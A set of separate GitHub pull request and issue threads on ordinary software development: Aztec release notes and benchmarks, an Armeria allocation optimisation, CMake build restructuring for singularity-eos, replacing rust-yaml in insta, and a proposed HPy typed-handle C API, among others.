Implement comptime support for as_slice builtin (https://github.com/noir-lang/noir/pull/5276) (ed815a3)
Insert trait impls into the program from type annotations (https://github.com/noir-lang/noir/pull/5327) (f2abb4e)
Let should_fail_with check that the failure reason contains the expected message (https://github.com/noir-lang/noir/pull/5319) (f2abb4e)
Make macros operate on token streams instead of AST nodes (https://github.com/noir-lang/noir/pull/5301) (ed815a3)
Private refunds (#7226) (6fafff6)
Remove dep:: prefix (https://github.com/noir-lang/noir/pull/4946) (ed815a3)
Remove event selector in logs from public context (#7192) (646d45a)
Rename struct-specific TypeDefinition -> StructDefinition (https://github.com/noir-lang/noir/pull/5356) (bb5cbab)
Run comptime code from annotations on a type definition (https://github.com/noir-lang/noir/pull/5256) (ed815a3)
Split storage access oracles (#7237) (51f7d65)
stdlib: Update stdlib to use explicit numeric generics (https://github.com/noir-lang/noir/pull/5306) (f2abb4e)
Store shared mutable hash (#7169) (868606e)
Sync from aztec-packages (https://github.com/noir-lang/noir/pull/5242) (ed815a3)
Sync from aztec-packages (https://github.com/noir-lang/noir/pull/5340) (f2abb4e)
Sync from aztec-packages (https://github.com/noir-lang/noir/pull/5347) (eb9e9f6)
Sync from aztec-packages (https://github.com/noir-lang/noir/pull/5377) (bb5cbab)
TXE fixes to avm opcodes and missing oracles, forced ci failure (#7252) (de303e2)
Unconstrained variants for event emission (#7251) (6d093e3)
Unify unencrypted log emission and decoding (#7232) (354dba2)
Update rebuild script (#7225) (af59247)
Use runtime loops for brillig array initialization (https://github.com/noir-lang/noir/pull/5243) (f2abb4e)
Wonky rollups (#7189) (1de3746)

Bug Fixes

Add more thorough check for whether a type is valid when passing it from constrained code to unconstrained code (https://github.com/noir-lang/noir/pull/5009) (ed815a3)
Add support for nested arrays returned by oracles (https://github.com/noir-lang/noir/pull/5132) (ed815a3)
Address compiler warnings coming from stdlib (https://github.com/noir-lang/noir/pull/5351) (eb9e9f6)
Avoid duplicating constant arrays (https://github.com/noir-lang/noir/pull/5287) (ed815a3)
Avoid panic in type system (https://github.com/noir-lang/noir/pull/5332) (f2abb4e)
Avoid unnecessarily splitting expressions with multiplication terms with a shared term (https://github.com/noir-lang/noir/pull/5291) (ed815a3)
Benchmark prover e2e test with proving (#7175) (431c14c)
Devnet deployment issues (#7197) (9cf4904)
Disable if optimization (https://github.com/noir-lang/noir/pull/5240) (ed815a3)
docs: Check for already deployed account contracts in token bridge tutorial (#7234) (d9efaf7)
docs: Historical reference library updates (#7166) (b3409c4)
Don't benchmark the "prove" command as it doesn't exist anymore (https://github.com/noir-lang/noir/pull/5323) (f2abb4e)
Don't lazily elaborate functions (https://github.com/noir-lang/noir/pull/5282) (ed815a3)
elaborator: Fix duplicate methods error (https://github.com/noir-lang/noir/pull/5225) (ed815a3)
elaborator: Fix regression introduced by lazy-global changes (https://github.com/noir-lang/noir/pull/5223) (ed815a3)
Error when a local function is called in a comptime context (https://github.com/noir-lang/noir/pull/5334) (f2abb4e)
Fix authwit package (#7204) (98ccd41)
Fix incorrect return type being applied to stdlib functions modulus_be_bytes(), modulus_be_bits(), etc. (https://github.com/noir-lang/noir/pull/5278) (ed815a3)
Fix test to accomodate new max read requests (#7286) (a023367)
Fix tokenization of unquoted types in macros (https://github.com/noir-lang/noir/pull/5326) (f2abb4e)
Fix usage of #[abi(tag)] attribute with elaborator (https://github.com/noir-lang/noir/pull/5298) (f2abb4e)
Handle struct with nested arrays in oracle return values (https://github.com/noir-lang/noir/pull/5244) (ed815a3)
Ignore calls to Intrinsic::AsWitness during brillig codegen (https://github.com/noir-lang/noir/pull/5350) (eb9e9f6)
Implement generic functions in the interpreter (https://github.com/noir-lang/noir/pull/5330) (f2abb4e)
nargo_fmt: Account for spaces before the generic list of a function (https://github.com/noir-lang/noir/pull/5303) (ed815a3)
Replace panic in monomorphization with an error (https://github.com/noir-lang/noir/pull/5305) (ed815a3)
Reran pil->cpp codegen & encode_and_encrypt_event_with_randomness fix (#7247) (fa15a45)
Runtime brillig bigint id assignment (https://github.com/noir-lang/noir/pull/5369) (bb5cbab)
Skip emission of brillig calls which will never be executed (https://github.com/noir-lang/noir/pull/5314) (ed815a3)
TS LSP being slow (#7181) (e934e87)
Update in_contract flag before handling function metadata in elaborator (https://github.com/noir-lang/noir/pull/5292) (ed815a3)
Use proper serialization in AbiValue (https://github.com/noir-lang/noir/pull/5270) (ed815a3)

Miscellaneous

static_assert error message fix and split into is-dynamic and is-false (https://github.com/noir-lang/noir/pull/5353) (eb9e9f6)
Add back Pedersen blackbox functions (revert PR 5221) (https://github.com/noir-lang/noir/pull/5318) (ed815a3)
Add log_hash as input in log emission in private context (#7249) (8b3dfe9)
Add no predicate to poseidon2 (https://github.com/noir-lang/noir/pull/5252) (ed815a3)
Add no-predicate to hash implementations (https://github.com/noir-lang/noir/pull/5253) (ed815a3)
Add property tests for ABI encoding (https://github.com/noir-lang/noir/pull/5216) (ed815a3)
Address TODO in compat.nr (https://github.com/noir-lang/noir/pull/5339) (f2abb4e)
avm-transpiler: Better error messages (#7217) (27051ad)
avm: Remove trailing minus zero in codegen (#7185) (f3c8166)
Avoid building contracts when producing gates report (#7136) (25507e6)
Bump bb to 0.43.0 (https://github.com/noir-lang/noir/pull/5321) (f2abb4e)
Bundle SSA Evaluator Options (https://github.com/noir-lang/noir/pull/5317) (ed815a3)
ci: Trigger a noir sync every morning at 8am (#7280) (412c016)
Copy across typo PR script from aztec-packages (https://github.com/noir-lang/noir/pull/5235) (ed815a3)
Create separate crate just for noir artifacts (https://github.com/noir-lang/noir/pull/5162) (ed815a3)
docs: Fixing trailing slash issue (https://github.com/noir-lang/noir/pull/5233) (ed815a3)
Fix examples (https://github.com/noir-lang/noir/pull/5357) (eb9e9f6)
Fix migration notes (#7279) (51d93eb)
Fix negative tests in AVM circuit for context input lookups (#7261) (ad2f654)
Fixing all relative paths (https://github.com/noir-lang/noir/pull/5220) (ed815a3)
Generate PIL constants from via constants gen (#7258) (244ef7e)
Gets rid of unencrypted emit in private_context (#7236) (3e6d88e)
Improve authwit comments/docs (#7180) (051ab9e)
Misc cleanup in simulator (#7203) (eb00830)
Optimize the elaborator (https://github.com/noir-lang/noir/pull/5230) (ed815a3)
Parse macros (https://github.com/noir-lang/noir/pull/5229) (ed815a3)
Pedersen commitment in Noir (https://github.com/noir-lang/noir/pull/5221) (ed815a3)
Pedersen hash in Noir (https://github.com/noir-lang/noir/pull/5217) (ed815a3)
Private tail circuits (#7148) (9e67e7d)
Pull out change to expression splitting from sync PR (#7215) (b4f50a5)
Pull out foreign call nested array changes (#7216) (1faaaf5)
Pull out noir-lang/noir#5120 (#7205) (c5dc094)
Pull out pedersen generator builtin from sync PR (#7210) (412f02e)
Pull out SSA changes from sync PR (#7209) (141e137)
Push code related to ABI gen into noirc_driver (https://github.com/noir-lang/noir/pull/5218) (ed815a3)
Redo typo PR by dropbigfish (https://github.com/noir-lang/noir/pull/5234) (ed815a3)
Reduce note and nullifier constants (#7255) (4637304)
Refactor test case generation in build.rs (https://github.com/noir-lang/noir/pull/5280) (ed815a3)
Refactor to use mod.nr support (#7259) (cda45db)
Release Noir(0.31.0) (https://github.com/noir-lang/noir/pull/5166) (ed815a3)
Remove is_unconstrained_fn field from elaborator (https://github.com/noir-lang/noir/pull/5335) (f2abb4e)
Remove 4738 ref (#7254) (97d997c)
Remove a log file (#7201) (83bb218)
Remove commented code (#7231) (2740d60)
Remove panic for unimplemented trait dispatch (https://github.com/noir-lang/noir/pull/5329) (f2abb4e)
Replace is_bn254 implementation to not rely on truncation of literals (https://github.com/noir-lang/noir/pull/5247) (ed815a3)
Replace regression_5202 with more manageably sized program (https://github.com/noir-lang/noir/pull/5345) (eb9e9f6)
Replace cached in_contract with in_contract() method (https://github.com/noir-lang/noir/pull/5324) (f2abb4e)
Replace logical operators with bitwise in DebugToString (https://github.com/noir-lang/noir/pull/5236) (ed815a3)
Replace relative paths to noir-protocol-circuits (e83b07b)
Replace relative paths to noir-protocol-circuits (eca8587)
Replace relative paths to noir-protocol-circuits (b9ddf43)
Replace relative paths to noir-protocol-circuits (6f817e8)
Replace relative paths to noir-protocol-circuits (f9bf0a4)
Replicate noir-lang/noir#4946 (#7202) (b5c07d8)
Simplify compilation flow to write to file immediately (https://github.com/noir-lang/noir/pull/5265) (ed815a3)
Split off fuzzer, abi changes and noirc_artifacts from sync (#7208) (255d752)
Thread generics through ACIR/brillig gen (https://github.com/noir-lang/noir/pull/5120) (ed815a3)
Use push_err more in elaborator (https://github.com/noir-lang/noir/pull/5336) (f2abb4e)
Use options.limit as upper limit for note-getter loop (#7253) (8ff669b)
Use prefix op_ for every instruction in avm_trace.hpp (#7214) (7ed7558)
Use the elaborator by default (https://github.com/noir-lang/noir/pull/5246) (ed815a3)

barretenberg: 0.45.0
0.45.0 (2024-07-02)
Features

avm: Calldata gadget preliminaries (#7227) (79e8588)
Constant Honk proof sizes (#6954) (17c8d3a)
Function selector opcode in AVM (#7244) (dde47e9)
Update rebuild script (#7225) (af59247)

Bug Fixes

Benchmark prover e2e test with proving (#7175) (431c14c)
Reran pil->cpp codegen & encode_and_encrypt_event_with_randomness fix (#7247) (fa15a45)

Miscellaneous

avm: Remove trailing minus zero in codegen (#7185) (f3c8166)
Fix negative tests in AVM circuit for context input lookups (#7261) (ad2f654)
Generate PIL constants from via constants gen (#7258) (244ef7e)
Reduce note and nullifier constants (#7255) (4637304)
Use prefix op_ for every instruction in avm_trace.hpp (#7214) (7ed7558)

This PR was generated with Release Please. See documentation.

Benchmark results
Metrics with a significant change:

proof_construction_time_sha256_30_ms (16): 1,770 (+28%)
app_circuit_proving_time_in_ms (Token:transfer_public (avm)): 3,627 (+25%)
protocol_circuit_witness_generation_time_in_ms (public-kernel-tail): 31,998 (-16%)

Detailed results
All benchmarks are run on txs on the Benchmarking contract on the repository. Each tx consists of a batch call  to create_note and increment_balance, which guarantees that each tx has a private call, a nested private call, a public call, and a nested public call, as well as an emitted private note, an unencrypted log, and public storage read and write.
This benchmark source data is available in JSON format on S3 here.
Proof generation
Each column represents the number of threads used in proof generation.

Metric
1 threads
4 threads
16 threads
32 threads
64 threads

proof_construction_time_sha256_30_ms
11,402
3,090 (+1%)
:warning: 1,770 (+28%)
1,572 (+6%)
1,461 (-5%)

proof_construction_time_sha256_100_ms
43,771
11,746
5,432
5,371
5,348

proof_construction_time_poseidon_hash_ms
79.0 (+1%)
34.0
34.0
58.0
88.0 (-1%)

proof_construction_time_poseidon_hash_30_ms
1,518
416 (+1%)
200 (+1%)
232 (+3%)
267 (+2%)

proof_construction_time_poseidon_hash_100_ms
5,758
1,559
718
771 (+2%)
797

L2 block published to L1
Each column represents the number of txs on an L2 block published to L1.

Metric
4 txs
8 txs
16 txs

l1_rollup_calldata_size_in_bytes
1,412
1,412
1,412

l1_rollup_calldata_gas
9,476
9,462
9,452

l1_rollup_execution_gas
610,297
610,283
610,273

l2_block_processing_time_in_ms
749 (-2%)
1,402
2,675 (-2%)

l2_block_building_time_in_ms
25,125 (-1%)
50,535 (-1%)
98,818 (-1%)

l2_block_rollup_simulation_time_in_ms
25,125 (-1%)
50,534 (-1%)
98,817 (-1%)

l2_block_public_tx_process_time_in_ms
21,588 (-1%)
46,783 (-1%)
95,110 (-1%)

L2 chain processing
Each column represents the number of blocks on the L2 chain where each block has 8 txs.

Metric
3 blocks
5 blocks

node_history_sync_time_in_ms
6,981 (+1%)
9,783

node_database_size_in_bytes
12,148,816
16,035,920

pxe_database_size_in_bytes
16,254
26,813

Circuits stats
Stats on running time and I/O sizes collected for every kernel circuit run across all benchmarks.

Function
time_ms
bytecode_size_in_bytes

GasToken:_increase_public_balance
67.3
13,873

GasToken:set_portal
17.3 (+2%)
3,495

Token:constructor
96.8
24,207

FPC:constructor
63.6 (-5%)
13,893

GasToken:mint_public
53.5
10,241

Token:mint_public
76.2 (+13%)
19,216

Token:assert_minter_and_mint
236 (+3%)
13,034

AuthRegistry:set_authorized
32.1 (-1%)
7,869

FPC:prepare_fee
173 (-6%)
15,187

Token:transfer_public
34.3 (-9%)
31,425

FPC:pay_refund
122 (+4%)
20,080

Benchmarking:increment_balance
2,672 (-1%)
15,465

Token:_increase_public_balance
60.1 (+6%)
15,089

FPC:pay_refund_with_shielded_rebate
155 (+6%)
21,167

Public DB Access
Time to access various public DBs.

Function
time_ms

get-nullifier-index
0.149

Tree insertion stats
The duration to insert a fixed batch of leaves into each tree type.

Metric
1 leaves
16 leaves
64 leaves
128 leaves
256 leaves
512 leaves
1024 leaves

batch_insert_into_append_only_tree_16_depth_ms
10.4
16.8
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_16_depth_hash_count
16.8
31.7
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_16_depth_hash_ms
0.602
0.517
N/A
N/A
N/A
N/A
N/A

batch_insert_into_append_only_tree_32_depth_ms
N/A
N/A
48.6
76.0
131 (-1%)
244
468 (-1%)

batch_insert_into_append_only_tree_32_depth_hash_count
N/A
N/A
95.9
159
287
543
1,055

batch_insert_into_append_only_tree_32_depth_hash_ms
N/A
N/A
0.496
0.467
0.450 (-1%)
0.443
0.438

batch_insert_into_indexed_tree_20_depth_ms
N/A
N/A
59.8 (-1%)
112
183
351
691 (-1%)

batch_insert_into_indexed_tree_20_depth_hash_count
N/A
N/A
109
207
355
691
1,363

batch_insert_into_indexed_tree_20_depth_hash_ms
N/A
N/A
0.506
0.501
0.480 (-1%)
0.475
0.474 (-1%)

batch_insert_into_indexed_tree_40_depth_ms
N/A
N/A
72.9
N/A
N/A
N/A
N/A

batch_insert_into_indexed_tree_40_depth_hash_count
N/A
N/A
133
N/A
N/A
N/A
N/A

batch_insert_into_indexed_tree_40_depth_hash_ms
N/A
N/A
0.519
N/A
N/A
N/A
N/A

Miscellaneous
Transaction sizes based on how many contract classes are registered in the tx.

Metric
0 registered classes
1 registered classes

tx_size_in_bytes
85,672
670,983

Transaction size based on fee payment method
| Metric |  |
| - |  |

:robot: Release is at https://github.com/AztecProtocol/aztec-packages/releases/tag/aztec-packages-v0.45.0 :sunflower:

:robot: Release is at https://github.com/AztecProtocol/aztec-packages/releases/tag/aztec-package-v0.45.0 :sunflower:

:robot: Release is at https://github.com/AztecProtocol/aztec-packages/releases/tag/barretenberg.js-v0.45.0 :sunflower:

:robot: Release is at https://github.com/AztecProtocol/aztec-packages/releases/tag/barretenberg-v0.45.0 :sunflower:


Add specialized implementations of fixed stream message to reduce all…

…ocations for common cases.
It's very common to allocate stream messages with 0-2 objects, so it's nice to have specializations to avoid the extra garbage of an object array.
Unfortunately, the duplicate implementations introduce a lot of complexity. Let me know if you think it's worth it. FixedHttpRequest turned out much worse than I had originally expected.
The total allocation of each is

Empty: 16 bytes (3 fields in base class)
One element: 16 bytes (3 fields in base, one in sub)
Two elements: 24 bytes (3 fields in base, 3 in sub)
Three elements: 24 + 36 (3 fields in base, 3 in sub, 24 bytes array overhead, 12 bytes in array)

Also unrelated, removed invokedOnSubscribe as it's unnecessary for fixed streams which have no writes.
Benchmarks. Not totally apple-to-apple due to the switch overhead in After from what I can tell - I think the overhead is shown by num=3, where the implementation hasn't really changed, so presumably After should be treated a little higher than they look. But still pretty minor, let me know what you think.
After

Benchmark                            (flowControl)  (num)          (streamType)   Mode  Cnt         Score        Error  Units
StreamMessageBenchmark.jmhEventLoop          false      0  FIXED_STREAM_MESSAGE  thrpt   20  11644168.631 ± 152677.634  ops/s
StreamMessageBenchmark.jmhEventLoop          false      1  FIXED_STREAM_MESSAGE  thrpt   20   8573895.575 ±  34659.073  ops/s
StreamMessageBenchmark.jmhEventLoop          false      2  FIXED_STREAM_MESSAGE  thrpt   20   6602223.767 ±  24179.698  ops/s
StreamMessageBenchmark.jmhEventLoop          false      3  FIXED_STREAM_MESSAGE  thrpt   20   5326205.531 ±  17208.362  ops/s

Before

Benchmark                            (flowControl)  (num)          (streamType)   Mode  Cnt         Score       Error  Units
StreamMessageBenchmark.jmhEventLoop          false      0  FIXED_STREAM_MESSAGE  thrpt   20  11338855.960 ± 56332.436  ops/s
StreamMessageBenchmark.jmhEventLoop          false      1  FIXED_STREAM_MESSAGE  thrpt   20   8165172.831 ± 22656.208  ops/s
StreamMessageBenchmark.jmhEventLoop          false      2  FIXED_STREAM_MESSAGE  thrpt   20   6681994.146 ± 32692.861  ops/s
StreamMessageBenchmark.jmhEventLoop          false      3  FIXED_STREAM_MESSAGE  thrpt   20   5441368.221 ± 20874.088  ops/s

Thanks a lot for the suggestion! Indeed, there was significant duplication between those factories and the one in HttpRequest, and there's no good point for it. I made FixedHttp* package-private, and also fixed my misunderstanding that it's possible to have a HttpRequest that publishes headers (and made an explicit check to prevent this).
I also went ahead and deprecated AggregatedHttpMessage.to* in the interest of making HttpRequest and HttpResponse the only entrypoints for creating them (will make the API clearer after #850 ). In the process, I moved some error-checking logic from there to HttpRequest/Response, presumably it was supposed to be there either way.
Also, what do you think about moving FixedStreamMessage to armeria.internal.stream? I would only do it if we're also ok with moving Default/EventLoopStreamMessage there to later.

Also, what do you think about moving FixedStreamMessage to armeria.internal.stream? I would only do it if we're also ok with moving Default/EventLoopStreamMessage to there later.

What's the benefit of moving them there? I usually prefer keeping classes package-local if possible since the classes in the internal package are visible to users anyway.

Thanks, @anuraaga !


Does not have Save_URL Yet

Reference : https://www.dropbox.com/developers/core/docs#save-url
save_url
Description
Save a file from the specified URL into Dropbox. If the given path already exists, the file will be renamed to avoid the conflict (e.g. myfile (1).txt).

I am willing to do a pull request and impliment it myself however there is some design concern about how to handle the return result of the save_url.   It returns a save_url_job which gives the status of the server actions.

My thought is to have the save_url just simply return the save_url_job and let the Consuming Program handle the rest.

a PR will be great

Released in version 1.1.6


User Story: I can modify a user's admin status

To Test this:

Login as an admin
Go to "Users"
Click "Edit" on a user
use the admin checkbox to add/remove admin status
Submit
Go back to "users"
You'll see "Admin | username" on a user you added admin status to

@Alex-Cannon the editing of an existing users Admin role is working as expected in this branch. However, it appears creating new users is broken in this branch but not in master. Here is the error:
TypeError: myList is undefined
render/<
src/objects/ArrayCheckBox/ArrayCheckBox.js:25

  22 | {Array.isArray(list) ? list.map((item, i) => {
  23 |   return (
  24 |     <div className="form-check" key={`check-item-${i}`}>
> 25 |       <input type="checkbox" className="form-check-input" onChange={() => this.toggleItem(item)} checked={myList.indexOf(item) !== -1}/>
     | ^  26 |       { item }
  27 |

  28 |   );

I think it would also be good have the user creation page also use the Admin check box too so the edit and creation page are the similar.

@stevenabadie POSTing a user should work now.


Add other_documents support

Content of all loaded buffers will be added to completion request.

Thanks for doing this @klew! This should be a big win for vim/nvim users in terms of completion quality.


Measure progress by counting all @failingTest annotations in analyzer/analysis_server CFE tests

As soon as https://dart-review.googlesource.com/c/sdk/+/61101 lands, it would be nice to create a dart program that examines all of the reflective tests that exercise the common front end and counts:

The number of tests marked as @failingTest in the CFE test that are marked as passing in the corresponding base class (non-CFE) test.
The total number of tests that exercise the CFE.

This would give us a way of tracking progress once we have the old front_end/analyzer integration support re-enabled.
To see which tests exercise the common front end, see the tests that are enabled by https://dart-review.googlesource.com/c/sdk/+/61101.

Started here: https://dart-review.googlesource.com/c/sdk/+/62081


CMake updates; flush with upstream

PR Summary
Update 20230727:
CI is passing on all systems. I did need to update the CI yamls to point to main branches of upstream spiner, so there needs to be some synchronization on versions, versions listed in spackages, spackage files in the repo folder, and versions in the CI to get everything to line up.
@jonahm-LANL @jhp-lanl @dholladay00 I've re-written the building docs with some expanded information. No doubt more can be put there, but what's there should cover everything. Reused some of the old documentation, as well, though a bit of it was out-of-date. If you feel there should be some more info there, let me know.
@rbberger I made some changes in the spackage file to reflect changes made elsewhere. I also put in some TODO comments on a few things that arn't required, but may be useful to look over.
Update 20230627:

[x] Requires https://github.com/lanl/spiner/pull/71 to be accepted before merge

Update 20230623:
Several changes have been done.

Moved to bifurcated "submodule mode/standalone mode" for building. This should make it easier to maintain. In submodule mode, install/export steps are disabled.
Options compacted using cmake_dependent_option, which simplifies the required cmake invokes. Further, a CMakePresets.json file has been mocked-up to provide common configuration options when building. (see about README.build.md for more details)
Updated the ports-of-call and spiner submodules to latest versions. These should get proper releases before merging this PR so that the submodules can be correctly pinned. As of writting I'm trying to mangle the submodules to correctly work on the github CI, if you spot how my bumbling can be improved, let me know.
Some code changes necessary for spiner-related code due to the templating of Spiner::DataBox. There may be a cleaner approach to this so I'm open to suggestions; however, the change was simple (if verbose).
Clarifying spiner/hdf5 dependency in the code defines; I've replaced the checks on SPINER_USE_HDF with the more descriptive SINGULARITY_USE_SPINER_WITH_HDF5 define.
I'm drafting a build doc README.build.md with instructions for building in various contexts. Feel free to provide suggestions.
some package.py changes to reflect changes in build setup, and CI adjustments

spiner, HDF5 clarity
As of writting, there is still a lot of HDF5 code in eos_spiner,eos_stellarcollapse that is distinct (at least on glancing) from spiner. I haven't disentangled it enough for us to have a possible "HDF5-less" form of spiner in singularity-eos. There may be some parallel work needed in spiner itself, but right now I'm focused on getting everything for a stable release. Right now it's possible to tell singularity-eos to build with spiner but without HDF5, but the effect is just to disable eos_spiner, so it's not ideal.
Status
I'm currently assessing where things stand in terms of completeness. Most of what I wanted done is complete but there are some loose ends to tie up (finishing docs, making sure spack is in-line, cleaning up some hacks). I'm able to build and test in all environments expected to be run on, but I still need to demonstrate this on the CI.
==/Update
This is an update to streamline the CMake build and bring in changes from upstream codes.

removed generic dependency handling into ad-hoc scripts, now more readable and flexible for particular packages
better HDF5 handling
Code cleanup; some re-ordering and formatting is done along with other changes

PR Checklist

[ ] Ensure minimal disruption to downstream projects
[ ] Sort out any hdf5+spiner issues
[ ] Document + readable diagnostics
[ ] Prune the cmake for out-dated, redundant, or unnecessary code
[ ] Ensure install stage is correct with changes

[ ] Adds a test for any bugs fixed. Adds tests for new features.
[ ] Format your changes by using the make format command after configuring with cmake.
[ ] Document any new features, update documentation for changes made.
[ ] Make sure the copyright notice on any files you modified is up to date.
[ ] After creating a pull request, note it in the CHANGELOG.md file
[ ] If preparing for a new release, update the version in cmake.

@dholladay00 @Yurlungur This is ongoing, but hopefully what remains is straightforward.
@rbberger I haven't given much thought to any spack/CI changes with these. I anticipate it to be minimal, but will ping you if any major issues arise

@Yurlungur @dholladay00 some proposed updates:
I am working on a setup with the following constraints:
# There are two modes for building:
# 1.) Submodule mode
#     this mode is for projects where singularity-eos,
#     and it's dependencies, are present in the source tree.
#     This mode is only appropriate for projects that have been
#     designed around using git submodules for dependency
#     management.
#     Submodule mode disables all export/install steps.
# 2.) Standalone mode
#     this mode will build and install singularity-eos as
#     as a complete software package for the intended platform.
#     In standalone mode, all dependencies are expected to be
#     found with `find_package`, and an error will be produced
#     if the packages required for building are not located outside
#     of the source directory, except for explicit cases.

Long story short: Dependencies (save for explicit cases) are either all managed in submodules or all resolved with find_package(). This means a few changes that could be debatable:

There is no "mix-and-match" capabilities. This is (mostly) possible with the current CMake but: a.) it's almost never used in the "mixed" case and b.) it has made maintaining everything overly-complicated.
kokkos-kernels is back as a submodule. This is in-line with the "all-one-or-the-other" approach.
The "target-guards" on find_package() are no longer applicable - the build with either define a target, or find it will find a target.

There are other "in-flight" updates that deserve some attention, but I wanted to start discussion on this sooner rather than later.
Keep in mind I still consider this "WIP", so there is still plenty to be done/decided.

* There is no "mix-and-match" capabilities. This is (mostly) possible with the current CMake but: a.) it's almost never used in the "mixed" case and b.) it has made maintaining everything overly-complicated.

How does this impact building with EOSPAC?

Big picture I am supportive of a simpler single switch with no mix-and-match. A few questions/comments:

kokkos-kernels is back as a submodule. This is in-line with the "all-one-or-the-other" approach.

Do you plan to add submodules back into the project? Or would a person using submodule mode have to add them to the parent project?

The "target-guards" on find_package() are no longer applicable - the build with either define a target, or find it will find a target.

IMO target guards should still be on the find package targets that may be needed for submodule mode, e.g., hdf5 and eospac. I don't trust the cmake find package machinery to do this correctly on its own.

@mauneyc-LANL looking at just the HDF5 change, I'm a bit confused why you aren't using the hdf5::hdf5 and hdf5::hdf5_hl targets. Also, why is the error logic necessary, if you have REQUIRED components. Does it fall through and not error out? Who can define HDF5_LIBRARIES before (why isn't it a check for the targets)?
Btw, I noticed both SPINER_USE_HDF and SPINER_USE_HDF5 defines. Do the both exist? (And if so, should they?)

In reverse, I'm still working on the SPINER_USE_ changes. There is a few source changes that need to be worked on - it's on the list.
For HDF5, using the hdf5:: targets has been tried before, but there were issues downstream. This could've been

the hdf5:: targets may not be defined downstream. HDF5 handeling has been through a lot of different stages over the last few years and only somewhat recently have FindHDF5.cmake / hdf5-config.cmake defined these. When I first introduced this into the cmake, some users suddenly couldn't build. I would like to pin to a hdf5 version, but there are others that need to be involved in that conversation.
The error logic is due to debugging some CMake. Before, HDF5_INCLUDE_DIRS was filled in by find_path, and this would cause find_package to not bail on modifying it (either due to an explicit check, or by poping a stack of scoped vars, or something else), leading to lots of _NOTFOUND warnings/errors. I have left the logic in as a sanity check, but it strictly doesn't need to be there.
Check for targets, see (1.)

@dholladay00 please take a look at this when you have the chance. I'd like your eyes on it before we merge.

I have kicked off most recent branch on gitlab CI. Pending results, I think this is ready.

I'm happy to have this merged in when tests pass. Thanks for all the effort @mauneyc-LANL !


Find a replacement for rust-yaml

Today insta now has to vendor rust-yaml largely because there is no replacement available.

serde_yaml: deprecated
yaml-rust2: too many dependencies, too new MSRV

too many dependencies, too new MSRV

I get your point, but also, this is relative / subjective. If the users of insta are okay with this, that's up to them.
Anyway, from an outside perspective, having a fixed-up version of the original rust-yaml vendored as source doesn't seem that bad either. It's a bit of potential bloat, but oh well...
It just adds to your maintenance burden, which is up to you to decide if it's too much, of course...

I get your point, but also, this is relative / subjective. If the users of insta are okay with this, that's up to them.

Insta is a testing library. By definition it has to support the rust versions that people are targeting, so it needs to be significantly more conservative than other libraries. There are users of this crate which have very conservative MSRV targets. It might be that over time the solution is to be more deliberate about the MSRV support and to encourage people to use older versions of insta but that so far has not been the way this has been approached.
The dependencies themselves I'm very cautious about. Insta has a relatively low number of dependencies so that a) I can ensure a conservative MSRV and b) because every dependency causes pain. Case in point: rustc today. yaml-rust2 is also unable to pass the minver check since it depends on encoding which itself is currently failing CI.

Hi! I'm sorry that yaml-rust2 proves to not be an option for your YAML parsing needs.
I had not taken into account the MSRV when updating the library. What would be the MSRV you are currently targetting?

Hey @mitsuhiko, just read your blog post. My experience as a user of your libraries has been stellar and from my POV you absolutely didn't need to immediately react to #463 and any duplicates or make the rustsec warning disappear for these folks.
On the flipdot, I think it's good that there is now #467 that people can watch if they want to know about updates to this situation. I also think it's good that people get these unmaintained crate warnings (whether it should cause CI to fail is a matter of taste IMHO), such that they can investigate, which in this case would have likely lead many insta users to #467 and subsequently silencing this specific advisory.
Anyways, thanks for being on top of things, and try not to let people stress you out :)
Thanks also @Ethiraric for putting a bunch of effort into a high-quality YAML crate for Rust, including the new potential considerations for lowering the MSRV!

With the following changes, I can get MSRV down to 1.65.0:

Move debug stuff behind a feature flag (removes the need for the std::sync::OnceLock)
Remove PartialEq, Eq from YamlDecoderTrap

I can further get it down to 1.64.0:

Remove let...else statements

Going further down would require tracking down changes in allocator-api2 (transitive dependance of hashlink) or finding a replacement for hashlink.

@Ethiraric so the thing here is that insta is a pretty odd bird here and to which degree does it even make sense for a library like yaml-rust2 to cater to it. Insta also really values stable snapshots so having depended on a largely unmaintained library was pretty beautiful in that regard :)
When I looked at yaml-rust2 other than the MSRV I noticed that it now depends on encoding which fails in CI for me with the minver check (https://github.com/mitsuhiko/insta/actions/runs/8418550704/job/23093352977):
  error: failed to parse manifest at `/home/runner/.cargo/registry/src/index.crates.io-6f17d22bba15001f/encoding-index-singlebyte-1.0.20140915/Cargo.toml`

  Caused by:
    library target names cannot contain hyphens: encoding-index-singlebyte

Also it depending on encoding makes my spidery senses tell me that I might be in a similar situation in no time, as that crate is also running dangerously close to unmaintained detection.
As for MSRV that is currently targeted: 1.51 is what it has today, but for the next major I'm considering pushing it up to 1.67 which is the lowest that can be supported by the other upgraded libraries.

If I'm not mistaken:

If I hide the encoding dependency behind a feature flag (you shouldn't depend on it, since you were using yaml-rust and not davvid's fork)
And hide the debug stuff behind a feature flag

Then yaml-rust2 would satisfy your needs for your next major? No encoding and their dependency, and yaml-rust2's MSRV would then be 1.65.0.
I don't consider it particularly "catering" to your needs. Taken out of context, those 2 changes do make sense. The debug stuff was behind a #[cfg(debug_assertion)] anyway and only included in debug builds. I just changed that to `#[cfg(feature = "debug_prints")].
Encoding is something many wouldn't need. I can leave that as an on-by-default feature that you would manually have to disable. This removes dependencies, speeds up compile-time and decreases binary bloat for those who wouldn't use it.
I honestly think those 2 changes would do great to the crate.
On a totally unrelated note, I do plan on some changes for the library (discussed here). I hadn't anticipated serde_yaml to get archived as well, and I think having a "central" YAML set of crates might be good.
When are you planning on releasing your next major version?

When are you planning on releasing your next major version?

No huge urgency. There are a few things that accumulated alongside that are worth addressing in a major bump.

Alright. I'll do the changes on yaml-rust2 and mention this issue in the PR. I'll make sure it contains the necessary documentation to have MSRV set to 1.65.0.
By the time you make the release, there's a high chance that we move development to another crate, notably to have a similarly-named set of crates for all YAML-related things.


Simpler & more typesafe API for type-specific calls

The current C-API provides lots of functions which are duplicate, the only difference being whether they do a typecheck of the argument or not.
E.g., PyTuple_GET_SIZE vs PyTuple_Size, PyTuple_GET_ITEM vs PyTuple_GetItem, etc.
The following idea tries to:

reduce the number of API functions
make it possible to call functions with or without type checking
use the C typesystem to catch some errors at compile time

The idea is to have special C types of handles which represent specialized objects and/or protocolos, e.g. HPyTuple. You can cast an HPy to HPyTuple with or without typechecks. Functions like HPyTuple_Size takes and HPyTuple argument, so it is impossible to call them with an HPy. For example:
typedef struct { long _i; } HPy;
typedef struct { long _i; } HPyTuple;

